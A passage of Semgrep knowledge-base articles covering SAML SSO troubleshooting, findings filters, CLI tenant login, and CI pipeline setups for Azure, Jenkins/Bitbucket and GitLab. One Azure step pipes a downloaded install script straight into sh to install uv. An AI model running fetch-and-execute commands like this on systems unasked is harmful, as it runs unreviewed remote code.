Select the box next to **This SSO supports non-password authentication mechanisms (e.g. MFA, X509, PasswordLessPhoneSignin)** if applicable.
Click **Save** to proceed.
## Add users to your new enterprise app
To add users to the application in so they can log in with their domain emails, refer to [Assign users and groups to an application](https://learn.microsoft.com/en-us/azure/active-directory/manage-apps/assign-user-or-group-access-portal).
# Troubleshooting SAML SSO
Source: https://docs.semgrep.dev/kb/semgrep-appsec-platform/saml-stops-working
This article walks you through troubleshooting SAML SSO failures, including the case where your SAML configuration stops working after you've successfully configured it and used it for some time. There are several common reasons why a configuration may fail.
## Certificate issues
If you see the error `Signature validation failed. SAML Response rejected` it's likely there is a problem with the certificate. signature validation fails if the IdP certificate becomes invalid via expiration, revocation, or rotation.
### Expired certificate
The most likely cause of an invalid certificate is that it is expired. If that's the case, upload a newly generated x509 certificate into your existing
SAML configuration.
To determine if this is the issue, follow the guidance to resolve the [signature validation error](/kb/semgrep-appsec-platform/saml-bad-signature).
### Rotated or revoked certificate
If the certificate isn't expired or outside its validity dates, verify that it matches certificate used by the IdP, and that the certificate has not been revoked.
If you are not a SAML administrator, the best next step is to contact your administrator to determine if you need to provide a new certificate due to rotation or revocation of the certificate.
## There was a change in network routing
If your SAML administrator changes the SAML configuration on the IdP side, you must change your Semgrep SAML configuration to match. For example, your administrator might update the login URL or add a redirect. This can result in errors in SAML communication.
To resolve the issue, reach out to your SAML administrator to determine the new information to use.
# Why is the scan duration reported by Semgrep different from the scan duration of the end-to-end process of running a diff-aware managed scan?
Source: https://docs.semgrep.dev/kb/semgrep-appsec-platform/scan-duration-discrepancy
The **Duration** of a scan shown on Semgrep AppSec Platform's **Projects** page reflects the amount of time required to run the Semgrep scan. This timer begins when Semgrep sends the scan request and receives a scan identifier, and ends when Semgrep sends results and receives a `scan complete` response.
If your CI/CD system displays a process time that is longer than the scan duration displayed in Semgrep AppSec Platform, this value includes the time required for setup, pre-processing, and post-processing steps, in addition to the scan time. These steps can include:
* Receiving and processing the webhook notification to start the scan
* Initializing the scan job and environment
* Cloning the repository
# Search, filter, and sort findings in Semgrep AppSec Platform
Source: https://docs.semgrep.dev/kb/semgrep-appsec-platform/search-filter-sort-findings
Semgrep AppSec Platform provides you with an overview of the findings identified by Semgrep Code, Supply Chain, and Secrets. Each product-specific page provides you with filters to narrow down the list of findings shown to you. For example, you can filter for Semgrep Code findings that are flagged as false positives, or you can filter for Semgrep Supply Chain findings based on CVE.
Learn more about the filters Semgrep offers using the following articles:
The following sections of this article explain how you can use filters to identify a specific subset of findings.
## Identify Semgrep Code findings flagged as false positives
Sign in to [Semgrep AppSec Platform](https://semgrep.dev/login), and navigate to **Code**. You can view findings with a status of **Ignored > False positive** from either the default **Production backlog** view or the **Pre-production** view. The **Production backlog** displays all Semgrep Code findings, while **Pre-production** displays the findings about which Semgrep left comments.
## Identify Semgrep Code findings flagged by Multimodal as false positives
The **Autotriage** filter lists findings that Semgrep Multimodal evaluated as likely false positives. This includes both:
* **Rule-based findings**, which Semgrep automatically moves to the **Provisionally ignored** status when Multimodal flags them as false positives.
* **AI-powered detection findings**, which remain **Open** even when Multimodal flags them as false positives. AI-powered detection findings are not automatically moved to **Provisionally ignored**, so you must use the **Autotriage** filter to find them.
Sign in to [ Semgrep AppSec Platform](https://semgrep.dev/login).
Navigate to **Code**.
Find the **Autotriage** filter, and click **False positive**.
Optional: To narrow results to only AI-powered detection findings, also apply the **AI-powered scan findings** filter.
## Search for specific findings by rule or CVE
This guide walks you through finding the specific rule ID in Semgrep, then applying it as a filter. You can then combine this filter with other filters, such as **Projects** or **Status**.
This method can be used for Semgrep Code and Supply Chain.
Sign in to [ Semgrep AppSec Platform](https://semgrep.dev/login).
Navigate to either the **Code** or **Supply Chain** page depending on which type of finding you're looking for.
ββi. For Semgrep Code findings, the **Rule ID** is the heading of each group of findings. Copy this value.
ββii. For Semgrep Supply Chain findings, the **CVE** or **MAL** ID is shown on the upper-right heading of each group of findings. Copy this value. Add a dash between the prefix, such as MAL or CVE, and the numerical value.
Enter the value you copied in the **Rule** filter for Semgrep Code or **Rules** filter for Semgrep Supply Chain. This narrows down the findings to that specific rule or CVE.
You can continue adding values to the rules filter. The rules filter includes findings from **any** of the values indicated.
From there, you can apply any other filters as necessary.
# The semgrep login command doesn't redirect to my Semgrep tenant site"
Source: https://docs.semgrep.dev/kb/semgrep-appsec-platform/semgrep-login-cli-tenant
When executing the command:
```bash theme={null}
semgrep login
```
it redirects to `https://semgrep.dev`. You may receive an error when logging in: `The requested URL was not found on the server`. As a Semgrep tenant user, you should be redirected to your tenant site, such as: https\://MY\_COMPANY.semgrep.dev
## To log in to the correct tenant site
Set the environment variable `SEMGREP_APP_URL` before calling the `semgrep login` function.
```bash theme={null}
export SEMGREP_APP_URL=https://mycompany.semgrep.dev
semgrep login
```
If you frequently log in from the command line, set the SEMGREP\_APP\_URL variable in your shell initialization file, such as `~/.zshrc` or `~ /.bash_profile`, depending on your operating system.
# SAML SSO error BadRequest: Missing attribute
Source: https://docs.semgrep.dev/kb/semgrep-appsec-platform/sso-attribute-error
When setting up SAML-based SSO for Semgrep AppSec Platform, you may see the following error:
```text theme={null}
Semgrep encountered an SSO error BadRequest.
Could not process SAML parameters. Missing attribute: email
```
Semgrep AppSec Platform requires two SAML attributes to be sent: `name` and `email`. If either one is missing, this error appears during the login process. For example, if the `name` attribute is missing, the message reads `Missing attribute: name`.
When you see this error, review your SAML configuration or the SAML assertion content. Most commonly, when setting up the SAML app, you provided the right information (the user's name and email) but the name or namespace of the attributes isn't an exact match to `name` or `email`. For example, you are sending the user's full name, but the attribute is called `user.fullName`. You should rename the attribute to `name`.
Review step 4 of the [SAML setup process](/deployment/sso/#saml-20) for guidance in setting up the attributes as required by Semgrep. For Microsoft Entra ID, see steps 4 and 5 of [Set up SAML SSO with Microsoft Entra ID](/kb/semgrep-appsec-platform/saml-microsoft-entra-id).
# Semgrep in CI
Source: https://docs.semgrep.dev/kb/semgrep-ci
Run Semgrep on self-hosted Ubuntu runners in Azure DevOps.
Running Semgrep commands in Azure Pipelines templates.
Scan code hosted in Bitbucket using Jenkins projects or pipelines.
Align scan results between CI and CLI and understand differences in behavior.
Collect logs from GitHub Actions to troubleshoot Semgrep CI scans.
Collect verbose logs from GitLab to troubleshoot Semgrep CI scans.
Troubleshoot git command failures that occur during PR and MR scans.
Set up GitHub repository rulesets to implement Semgrep across repositories.
Learn how to set up reusable GitHub workflows for Semgrep scans.
Prevent the "resource not accessible by integration" error when uploading findings.
Set up full and diff-aware scans in Jenkins Multibranch Pipeline projects.
Set additional environment variables to receive Semgrep MR comments.
Learn why new SCM connections can appear in Semgrep AppSec Platform.
Review options to scan compressed files and other artifacts with Semgrep.
Scan a monorepo in parts for better CI performance and clearer findings.
Learn how to add Semgrep to your Semaphore pipeline.
Learn how to run a diff-aware scan.
Upload Semgrep findings to the GitHub Advanced Security Dashboard.
Upload Semgrep findings to the GitLab Security Dashboard.
Configure GitHub Actions workflows to use the `nonroot` Semgrep Docker image.
Prevent duplicate findings by running full scans only on the main branch.
# Semgrep with self-hosted Ubuntu runners in Azure Pipelines
Source: https://docs.semgrep.dev/kb/semgrep-ci/azure-self-hosted-ubuntu
Semgrep provides a [sample configuration for Azure-hosted runners](/semgrep-ci/sample-ci-configs#azure-pipelines). If you use self-hosted Ubuntu Linux runners, you have significantly more control over their configuration, but as a result, they require additional preparation and configuration to run Semgrep.
This guide adds two approaches to configuring self-hosted runners that use Ubuntu (the default self-hosted option for Azure DevOps Linux runners):
* [Using pipx](#using-pipx)
* [Using uv](#using-uv)
Both `pipx` and `uv` install Semgrep into an isolated environment, which avoids issues with system-managed Python vs user-installed Python.
## Using pipx
[`pipx`](https://pipx.pypa.io/stable/) installs standalone Python applications into isolated environments. This is the recommended approach for installing Semgrep on a self-hosted runner.
### Prepare your runner
Access the runner and execute the following commands:
```bash theme={null}
$ sudo apt update
$ sudo apt install pipx
$ pipx ensurepath
```
After completing the commands:
Start a new shell session, so that the changes from `pipx ensurepath` are available.
Ensure the [Azure DevOps agent](https://learn.microsoft.com/en-us/azure/devops/pipelines/agents/linux-agent?view=azure-devops) is set up and running.
### Create your configuration
Follow the steps provided in the [sample configuration for Azure-hosted runners](/semgrep-ci/sample-ci-configs#azure-pipelines).
Add the following snippet to the `azure-pipelines.yml` for the repository.
```yaml expandable theme={null}
variables:
- group: Semgrep_Variables
pool:
name: Default
steps:
- checkout: self
clean: true
fetchDepth: 20
persistCredentials: true
- script: |
pipx install semgrep
if [ $(Build.SourceBranchName) = "master" ]; then
echo "Semgrep full scan"
semgrep ci
elif [ $(System.PullRequest.PullRequestId) -ge 0 ]; then
echo "Semgrep diff scan"
git fetch origin master:origin/master
export SEMGREP_PR_ID=$(System.PullRequest.PullRequestId)
export SEMGREP_BASELINE_REF='origin/master'
semgrep ci
fi
env:
SEMGREP_APP_TOKEN: $(SEMGREP_APP_TOKEN)
```
**CUSTOMIZING THE CONFIGURATION**
* If your self-hosted runner [agent pool](https://learn.microsoft.com/en-us/azure/devops/pipelines/agents/pools-queues?view=azure-devops\&tabs=yaml%2Cbrowser) has a different name, update the `name` key under `pool` to match the desired agent pool.
* If your default branch is not called `master`, update the references to `master` to match the name of your default branch.
## Set environment variables in Azure Pipelines
Semgrep minimally requires the variable SEMGREP\_APP\_TOKEN in order to report results to the platform, and other variables may be helpful as well. To set these variables in Azure Pipelines:
Set up a variable group called Semgrep\_Variables.
Set SEMGREP\_APP\_TOKEN in the variable group, following the steps for secret variables. The variable is mapped into the env in the provided config.
Optional: Add the following environment variables to the group if you aren't seeing hyperlinks to the code that generated a finding, or if you are not receiving PR or MR comments. Review the use of these variables at Environment variables for creating hyperlinks in Semgrep AppSec Platform.These variables are not sensitive and do not need to be secret variables.
* SEMGREP\_REPO\_NAME
* SEMGREP\_REPO\_URL
* SEMGREP\_BRANCH
* SEMGREP\_COMMIT
* SEMGREP\_JOB\_URL
Set variables for diff-aware scanning. The provided config sets SEMGREP\_PR\_ID to the system variable System.PullRequest.PullRequestId and SEMGREP\_BASELINE\_REF to origin/master within the script section of the config. The value of SEMGREP\_BASELINE\_REF is typically your trunk or default branch, so if you use a different branch than master, update the name accordingly. as main or master.
* If you prefer not to implement diff-aware scanning, you can skip setting these variables and remove the elif section of the script step.
For diff-aware scans: add a build validation policy. Adding and enabling a branch policy for build validation is required to trigger Azure Pipelines on pull requests.
## Using uv
### Prepare your runner
[`uv`](https://docs.astral.sh/uv/) is a fast Python package and project manager. Its `uv tool install` command installs standalone Python applications into isolated environments, similar to `pipx`.
Access the runner and install `uv` following [Astral's installation instructions](https://docs.astral.sh/uv/getting-started/installation/), for example:
```bash theme={null}
$ curl -LsSf https://astral.sh/uv/install.sh | sh
```
After installing, ensure the [Azure DevOps agent](https://learn.microsoft.com/en-us/azure/devops/pipelines/agents/linux-agent?view=azure-devops) is set up and running.
### Create your configuration
Add the following snippet to the `azure-pipelines.yml` for the repository.
```yaml expandable theme={null}
variables:
- group: Semgrep_Variables
pool:
name: Default
steps:
- checkout: self
clean: true
fetchDepth: 20
persistCredentials: true
- script: |
uv tool install semgrep
if [ $(Build.SourceBranchName) = "master" ]; then
echo "Semgrep full scan"
semgrep ci
elif [ $(System.PullRequest.PullRequestId) -ge 0 ]; then
echo "Semgrep diff scan"
git fetch origin master:origin/master
export SEMGREP_PR_ID=$(System.PullRequest.PullRequestId)
export SEMGREP_BASELINE_REF='origin/master'
semgrep ci
fi
env:
SEMGREP_APP_TOKEN: $(SEMGREP_APP_TOKEN)
```
**CUSTOMIZING THE CONFIGURATION**
* If your self-hosted runner [agent pool](https://learn.microsoft.com/en-us/azure/devops/pipelines/agents/pools-queues?view=azure-devops\&tabs=yaml%2Cbrowser) has a different name, update the `name` key under `pool` to match the desired agent pool.
* If your default branch is not called `master`, update the references to `master` to match the name of your default branch.
## Set environment variables in Azure Pipelines
Semgrep minimally requires the variable SEMGREP\_APP\_TOKEN in order to report results to the platform, and other variables may be helpful as well. To set these variables in Azure Pipelines:
Set up a variable group called Semgrep\_Variables.
Set SEMGREP\_APP\_TOKEN in the variable group, following the steps for secret variables. The variable is mapped into the env in the provided config.
Optional: Add the following environment variables to the group if you aren't seeing hyperlinks to the code that generated a finding, or if you are not receiving PR or MR comments. Review the use of these variables at Environment variables for creating hyperlinks in Semgrep AppSec Platform.These variables are not sensitive and do not need to be secret variables.
* SEMGREP\_REPO\_NAME
* SEMGREP\_REPO\_URL
* SEMGREP\_BRANCH
* SEMGREP\_COMMIT
* SEMGREP\_JOB\_URL
Set variables for diff-aware scanning. The provided config sets SEMGREP\_PR\_ID to the system variable System.PullRequest.PullRequestId and SEMGREP\_BASELINE\_REF to origin/master within the script section of the config. The value of SEMGREP\_BASELINE\_REF is typically your trunk or default branch, so if you use a different branch than master, update the name accordingly. as main or master.
* If you prefer not to implement diff-aware scanning, you can skip setting these variables and remove the elif section of the script step.
For diff-aware scans: add a build validation policy. Adding and enabling a branch policy for build validation is required to trigger Azure Pipelines on pull requests.
# Running Semgrep using templates in Azure Pipelines
Source: https://docs.semgrep.dev/kb/semgrep-ci/azure-using-templates-with-semgrep
## Motivation
Complex CI configurations housed in large YAML files take a lot of work to maintain and modify. Azure [templates](https://learn.microsoft.com/en-us/azure/devops/pipelines/process/templates?view=azure-devops) extract chunks of logic from larger configurations and encapsulate them in external template files. The template can then be referenced in multiple configurations, keeping pipelines more readable and maintainable.
This guide explains how to:
* Create template files to run various Semgrep commands.
* Include or call templates in your Azure Pipeline.
You can then reuse the template files in as many pipelines as you need.
## Defining Semgrep commands in a template file
To add Semgrep commands in a YAML template file:
Create a `templates` folder in the repository you want to run Semgrep in.
Commit the following templates:
Example YAML template file for a Semgrep full scan:
```yaml theme={null}
steps:
- script: |
echo "Semgrep full scan"
python -m pip install --upgrade pipx
pipx install semgrep
semgrep ci
```
Example YAML template file for a Semgrep pull request scan:
```yaml theme={null}
steps:
- checkout: self
clean: true
fetchDepth: 10000
persistCredentials: true
- script: |
echo "Pull Request Scan from branch: $(Build.SourceBranchName)"
git fetch origin master:origin/master
python -m pip install --upgrade pipx
pipx install semgrep
semgrep ci
env:
SEMGREP_PR_ID: $(System.PullRequest.PullRequestNumber)
SEMGREP_BASELINE_REF: 'origin/master'
```
**NOTE**
You must define separate templates for full scans and [diff-aware scans](/deployment/customize-ci-jobs#set-up-diff-aware-scans). This is because there are different environment variables used in the template for diff-aware scans, such as `SEMGREP_PR_ID` and `SEMGREP_BASELINE_REF`.
## Referencing templates in an Azure Pipeline
With the templates defined, reference them in other Azure Pipelines like this:
```yaml theme={null}
pool:
vmImage: ubuntu-latest
variables:
- group: Semgrep_Variables
jobs:
- job: Semgrep_Full_Scan
condition: eq(variables['Build.SourceBranchName'], 'master')
steps:
- template: templates/full_scan_semgrep.yml
- job: Semgrep_PR_Scan
condition: ne(variables['Build.SourceBranchName'], 'master')
steps:
- template: templates/pr_scan_semgrep.yml
```
**TIP**
You can even define your templates in a centralized repository and [reference them in other repositories](https://learn.microsoft.com/en-us/azure/devops/pipelines/process/templates?view=azure-devops#use-other-repositories).
## Conclusion
Using templates in Azure Pipelines is a good practice to simplify pipeline configuration files, improving both readability and maintainability. Pipeline templates can also speed up the Semgrep onboarding process for repositories by allowing you to reuse the same template in each repository.
# Run Semgrep in Jenkins when using Bitbucket as the source code manager
Source: https://docs.semgrep.dev/kb/semgrep-ci/bitbucket-jenkins
To scan your code hosted by Bitbucket with Semgrep using a Jenkins project or pipeline, you must:
1. Set up webhooks to connect Jenkins to Bitbucket.
2. Configure the Jenkins project or pipeline to run Semgrep.
## Set up webhooks to allow triggering events from Bitbucket to Jenkins
Webhooks are required to connect your Bitbucket source code manager (SCM) to Jenkins.
**PREREQUISITES**
You must install the Bitbucket Push and Pull Request plugin on your Jenkins server. This method requires that your Jenkins instance be compatible with this plugin.
Log in to Bitbucket, and go to your repository.
In your Bitbucket repository, go to **Repository Settings > Webhooks > Add webhook**.
Enter a **Title** for your webhook.
Enter the **URL** for your Jenkins instance using the following pattern: `https:///bitbucket-hook/`.
Add the following **Triggers**:
ββi. In the **Repository** list, select **Push**.
ββii. In the **Pull request** list, select **Created** and **Updated**.
## Configure Jenkins to run Semgrep
Sign in to Jenkins.
From the **Jenkins Dashboard** click on create a **New Item**.
Enter a project name, select **Pipeline** option, and click **OK**.
In the **General > Triggers** section, select **Build with BitBucket Push and Pull Request Plugin**.
Create the **Triggers**:
ββi. Click **Add**.
ββii. Select one of the following: **Bitbucket Cloud Pull Request**, **Bitbucket Server Pull Request**, or **Push**.
ββiii. In **Select an Action**, select **Created**.
ββiv. Click **Add** again, and select the same trigger as before: **Bitbucket Cloud Pull Request**, **Bitbucket Server Pull Request**, or **Push**.
ββv. In **Select an Action**, select **Updated**.
Go to the **Pipeline** section. In **Definition**, select **Pipeline script from SCM**.
ββi. In **SCM**, select **Git**.
ββii. In **Repositories > Repository URL**, enter your Bitbucket repository URL.
ββiii. In **Branch Specifier (blank for 'any')**, enter the name of your main branch.
ββiv. In **Script Path**, enter `Jenkinsfile`.
Click **Save**.
### Create and add the Jenkinsfile to your repository
Create the Jenkinsfile in your Bitbucket repository. The file must define the logic to start:
* Diff-aware scans if the scan is started in the context of a pull request
* Full scans if you push changes to the main branch
The following code snippets are sample Jenkinsfiles that define both of these actions. Choose the file for your deployment based on whether you're using Bitbucket Cloud or Bitbucket Data Center.
```groovy expandable theme={null}
pipeline {
agent any
environment {
SEMGREP_APP_TOKEN = credentials('SEMGREP_APP_TOKEN')
SEMGREP_BASELINE_REF = "origin/main"
}
stages {
stage('Semgrep-Scan') {
steps {
script {
if (env.BITBUCKET_PULL_REQUEST_ID) {
echo "Semgrep diff scan"
sh '''git checkout ${BITBUCKET_PULL_REQUEST_LATEST_COMMIT_FROM_SOURCE_BRANCH}'''
sh '''git fetch origin +ref/heads/*:refs/remotes/origin/*'''
sh '''docker run \
-e SEMGREP_APP_TOKEN=$SEMGREP_APP_TOKEN \
-e SEMGREP_PR_ID=${BITBUCKET_PULL_REQUEST_ID} \
-e SEMGREP_BASELINE_REF=$SEMGREP_BASELINE_REF \
-v "$(pwd):$(pwd)" --workdir $(pwd) \
semgrep/semgrep semgrep ci'''
} else {
echo "Semgrep full scan"
sh '''docker run \
-e SEMGREP_APP_TOKEN=$SEMGREP_APP_TOKEN \
-v "$(pwd):$(pwd)" --workdir $(pwd) \
semgrep/semgrep semgrep ci'''
}
}
}
}
}
}
```
Note that:
* You must define `SEMGREP_APP_TOKEN` in Jenkins. You can [create the required token in Semgrep AppSec Platform](https://semgrep.dev/orgs/-/settings/tokens/cli).
* The variable `SEMGREP_BASELINE_REF` in the code snippet must be set to the primary or default branch, which in the example is `origin/main`.
```javascript expandable theme={null}
pipeline {
agent any
environment {
// The following variable is required for a Semgrep AppSec Platform-connected scan:
SEMGREP_APP_TOKEN = credentials('SEMGREP_APP_TOKEN')
BITBUCKET_TOKEN = credentials('FS_BITBUCKET_TOKEN')
// Uncomment the following line to scan changed
// files in PRs or MRs (diff-aware scanning):
// SEMGREP_BASELINE_REF = "${env.CHANGE_ID != null ? 'main' : ''}"
// Troubleshooting:
// Uncomment the following lines if Semgrep AppSec Platform > Findings Page does not create links
// to the code that generated a finding or if you are not receiving PR or MR comments.
// SEMGREP_JOB_URL = "${BUILD_URL}"
// SEMGREP_COMMIT = "${GIT_COMMIT}"
// SEMGREP_BRANCH = "${GIT_BRANCH}"
// SEMGREP_REPO_NAME = env.GIT_URL.replaceFirst(/^https:\/\/YOUR_BITBUCKET_DATA_CENTER_URL\/scm\/(.*).git$/, '$1')
// SEMGREP_REPO_URL = env.GIT_URL.replaceFirst(/^(https:\/\/.*?)\/scm\/(.*)\/(.*)\.git$/, '$1/projects/$2/repos/$3')
// SEMGREP_PR_ID = "${env.CHANGE_ID != null ? env.CHANGE_ID : ''}"
SEMGREP_APP_URL = "https://semgrep.dev"
}
stages {
stage('Semgrep-Scan') {
steps {
sh 'pipx install semgrep'
sh 'semgrep ci'
}
}
}
}
```
To set up a Freestyle project to scan your Bitbucket projects with Semgrep:
Sign in to Jenkins.
[Define `SEMGREP_APP_TOKEN` as a credential](https://www.jenkins.io/doc/book/using/using-credentials/#configuring-credentials) in Jenkins. You will add this credential to your project at a later step.
From the Jenkins **Dashboard**, click **New Item**.
Type a project name, select **Freestyle project**, and click **OK**.
Go to **General > Source Code Management**. Select **Git**. Then:
ββi. Add your Bitbucket **Repository URL**
ββii. Add the **Credentials** needed to check out your sources
ββiii. Add the **Branches to build**
In the **Triggers** section, select **Build with Bitbucket Push and Pull Request Plugin**. Then, create the **Triggers**:
ββi. Click **Add**.
ββii. Select one of the following: **Bitbucket Cloud Pull Request** or **Bitbucket Server Pull Request**.
ββiii. In **Select an Action**, select **Created**.
ββiv. Click **Add** again, and select the same trigger as before: **Bitbucket Cloud Pull Request** or **Bitbucket Server Pull Request**.
ββv. In **Select an Action**, select **Updated**.
ββvi. Click **Add > Push**.
Next, add your Semgrep token to the environment:
ββi. In the **Environment** section, select **Use secret text(s) or file(s)**.
ββii. Under **Bindings**, select **Secret text**.
ββiii. Set **Variable** to `SEMGREP_APP_TOKEN`.
ββiv. Under **Credentials > Specific credentials**, choose the defined credential for the token.
ββv. Click **Add** to save your changes.
In the **Build Steps** section, click **Add build step > Execute shell**. In **Command**, provide one of the following scripts to run Semgrep:
```bash expandable theme={null}
#!/bin/bash
BASELINE_REF="main"
BASELINE_REF_ORIGIN="origin/$BASELINE_REF"
REPO_URL=$GIT_URL
REPO_NAME=$(echo "$GIT_URL" | awk -F'/' '{print $(NF-1)"/"$(NF)}' | sed 's/.git$//')
## Merge or push to primary branch
if [ $BITBUCKET_SOURCE_BRANCH = $BASELINE_REF ]; then
docker run -e SEMGREP_APP_TOKEN=$SEMGREP_APP_TOKEN \
-e SEMGREP_REPO_URL=$REPO_URL \
-e SEMGREP_REPO_NAME=$REPO_NAME \
-v "$(pwd):$(pwd)" --workdir $(pwd) \
semgrep/semgrep semgrep ci
## pull request scans
elif [ $BITBUCKET_PULL_REQUEST_ID -ge 0 ]; then
git checkout $BITBUCKET_SOURCE_BRANCH && git pull
docker run -e SEMGREP_APP_TOKEN=$SEMGREP_APP_TOKEN \
-e SEMGREP_BASELINE_REF=$BASELINE_REF_ORIGIN \
-e SEMGREP_REPO_URL=$REPO_URL \
-e SEMGREP_REPO_NAME=$REPO_NAME \
-e SEMGREP_BRANCH=$BITBUCKET_SOURCE_BRANCH \
-e SEMGREP_PR_ID=$BITBUCKET_PULL_REQUEST_ID \
-v "$(pwd):/src" \
semgrep/semgrep semgrep ci
fi
```
**NOTE**
* The variable `SEMGREP_BASELINE_REF` must be set to the default branch, which is `main` in the preceding example.
* The configuration for a diff-aware scan must specify a merge base against which the pull request changes are compared. To do this:
* Set the pull request target branch as `SEMGREP_BASELINE_REF`
* Set `SEMGREP_BRANCH` to the pull request source branch to ensure it's correctly identified.
* Set `SEMGREP_PR_ID` so that Semgrep can send comments to the relevant pull request.
### Test the implementation
To ensure that Semgrep scans correctly in your Jenkins pipeline or project:
1. Commit a change to your repository, and create a pull request. This automatically runs a Semgrep diff-aware scan in Jenkins. Note that the job can fail if there are blocking findings as a result of the scan.
2. Merge the pull request to commit the changes to `main`. This triggers a full scan in Jenkins.
# Semgrep in CI vs CLI: align your SAST scan results and understand differences
Source: https://docs.semgrep.dev/kb/semgrep-ci/ci-vs-cli
When configuring Semgrep, it can be helpful to run it both using the command-line interface (CLI) and in continuous integration (CI) to review findings behavior.
However, the two methods of running Semgrep have somewhat different behavior by default, so the findings may not be directly comparable. If you're seeing different findings with a CLI scan as compared to a scan in CI, here are some possible reasons.
## Installation methods and versioning
When comparing Semgrep scans in CI and CLI, ensure that you are running the same version of Semgrep on the CLI as in CI, and that it is [installed](/getting-started/cli) in the same way as it is in CI.
If you use Semgrep's Docker image in CI and are running the CLI scan locally, the best options are:
* Use the Docker container locally.
* Install Semgrep using `pipx` or `uv`.
## Branches and diff-aware scans
When comparing findings, ensure that the scans were run on the same code. To compare results for an entire repository, the best option is to scan the latest commit to the default branch.
When running Semgrep in CI, if the triggering event is a pull request or merge request, the recommended configuration runs a [diff-aware scan](/deployment/customize-ci-jobs#set-up-diff-aware-scans), so only findings identified in the changed code are reported. Therefore, not all findings are reported in these scans.
## Rule configuration
If you use Semgrep with Semgrep AppSec Platform, `semgrep ci` with no additional arguments executes a scan using your organization's [policies](/semgrep-code/policies) configuration. Findings are determined by the rules present in different policies. If you have any organization-specific rules in your policies, those are included as well.
Findings on rules in the Blocking policy cause the scan to finish with exit code 1. See also [Blocking findings and errors](#blocking-findings-and-errors).
On the other hand, `semgrep --config auto` executes a scan using relevant rules from the [Semgrep Registry](https://semgrep.dev/explore), without using a particular configuration. It does not include organization-specific rules from Semgrep AppSec Platform.
To address this difference, run `semgrep scan` with specific rules or rulesets that closely match your policies. For example, if your policies include only the "default" ruleset in the Monitor column, running:
```bash theme={null}
semgrep --config "p/default"
```
would give similar results to `semgrep ci`.
## Pro analysis
When using `semgrep ci` with Semgrep AppSec Platform, you can configure whether the scan uses cross-file analysis in [Settings](https://semgrep.dev/orgs/-/settings/general/code). If you enable cross-file analysis, Semgrep performs cross-file and cross-function analysis for [supported languages](/supported-languages).
If cross-file analysis is not enabled in Semgrep AppSec Platform, [Pro rules](/semgrep-code/pro-rules) are used, but they are run using cross-function analysis within single files.
To perform a CLI scan using cross-file analysis, ensure you've run `semgrep install-semgrep-pro` to [install the additional semgrep binary](/semgrep-code/semgrep-pro-engine-intro/#run-cross-file-analysis-in-the-cli), and include `--pro` in your command:
```bash theme={null}
semgrep --config auto --pro
```
To disable cross-file analysis in CI while still using Pro Engine, use:
```bash theme={null}
semgrep ci --pro-intrafile
```
If you want to fully revert to OSS-only analysis, disabling Pro Engine entirely, use:
```bash theme={null}
semgrep ci --oss-only
```
## Blocking findings and errors
If you use Semgrep in CI without Semgrep AppSec Platform, `semgrep ci` finishes with exit code 1 if there are any findings, since there is no way to distinguish blocking from non-blocking findings. Review [Configuring blocking findings and errors in continuous integration (CI)](/semgrep-ci/configuring-blocking-and-errors-in-ci) to change this behavior.
The CLI command `semgrep scan` finishes with exit code 0 by default as long as the scan is able to complete, even if there are findings. To finish with exit code 1 on any findings, use the `--error` flag.
# Collecting Semgrep GitHub Actions logs from GitHub
Source: https://docs.semgrep.dev/kb/semgrep-ci/collect-gha-logs
To retrieve a log, perform the following steps:
Navigate to the main page of the GitHub repository you are troubleshooting or scanning.
Click the **Actions** tab.
In the Actions page, click the Semgrep workflow run that you want to retrieve logs for. The name depends on your configuration. By default, it is named **Semgrep**.
**TIP**
Your repository may have different workflow runs, such as linters. To quickly browse through workflow runs, you can also click the name of your workflow, typically **Semgrep** under **Actions** in the navigation bar to view only Semgrep runs.
Click the job name, typically **semgrep/ci**.
You are taken to the specific job page. Click the gear icon **> Download log archive**.
You have successfully downloaded a GitHub Actions log. You can send this as part of your ticket to [Support](/support).
## Additional references
# GitLab Job's log exceeded limit' error
Source: https://docs.semgrep.dev/kb/semgrep-ci/collect-gitlab-logs
When executing a GitLab job that collects verbose (`-v`) or debug (`--debug`)
logs from Semgrep, you may see the following error message:
```console theme={null}
Job's log exceeded limit of 4194304 bytes.
Job execution will continue but no more output will be collected.
```
GitLab normally limits CI job logs to around 4 MB in size, and verbose Semgrep logs can exceed this size limit, leading to the error.
## Solution: Save the log as an artifact
You can save larger log files [using `artifacts` to create a job artifact](https://docs.gitlab.com/ee/ci/jobs/job_artifacts.html) from the log file.
To do that:
1. Update the `semgrep ci` command to redirect logs to a file: `semgrep ci --debug &> semgrep.log`.
2. Add the resulting log file to the `artifacts` section of the CI configuration.
Here is an example based on the [sample GitLab CI/CD configuration](/semgrep-ci/sample-ci-configs/#sample-gitlab-cicd-configuration-snippet):
```yml theme={null}
semgrep:
image: semgrep/semgrep
script:
- semgrep ci --debug &> semgrep.log
rules:
- if: $CI_MERGE_REQUEST_IID
- if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH
variables:
SEMGREP_APP_TOKEN: $SEMGREP_APP_TOKEN
artifacts:
paths:
- semgrep.log
when: always
```
You can [download the full log](https://docs.gitlab.com/ee/ci/jobs/job_artifacts.html#download-job-artifacts) from several locations, including the "Job artifacts" area in the job.
# Failed to run a git command during a pull request or merge request scan
Source: https://docs.semgrep.dev/kb/semgrep-ci/git-command-errors
When running Semgrep in CI with a pull request or merge request as the triggering event, Semgrep runs some additional `git` commands to determine the behavior for the scan. The scan exits with an error if these commands fail. A message like the following shows in the output:
```bash theme={null}
[ERROR] Command failed with exit code: 128
-----
Command failed with output:
fatal: Not a valid object name master
Failed to run 'git '. Possible reasons:
- the git binary is not available
- the current working directory is not a git repository
- the current working directory is not marked as safe
(fix with `git config --global --add safe.directory $(pwd)`)
Try running the command yourself to debug the issue.
```
In addition to the potential reasons included in the message, there are a few other common reasons for git command failure:
## Clone depth is too shallow
If a shallow git clone of the repository is used to fetch code, and the branch to be scanned has had many commits added since it was branched off the base branch, Semgrep may not be able to identify the base branch commit to compare the current pull request or merge request branch with. In this case, the command that failed is typically:
git merge-base --all SHA FETCH\_HEAD
Semgrep uses the merge-base command to compare the tip of the pull request or merge request branch with the base branch and determine where it branched off, so that it can accurately scan for changes made in the merge request rather than in the base branch.
If there isn't enough history to identify the branch point, this comparison can fail. This is most common if the git clone performed is shallow by default, or if the depth has been set to a small value via command line argument `--depth` or environment variable `GIT_DEPTH`.
To resolve this issue, increase the clone depth to a larger value. A value such as 20 or 50 is sufficient to capture the information needed for most merge-base calculations.
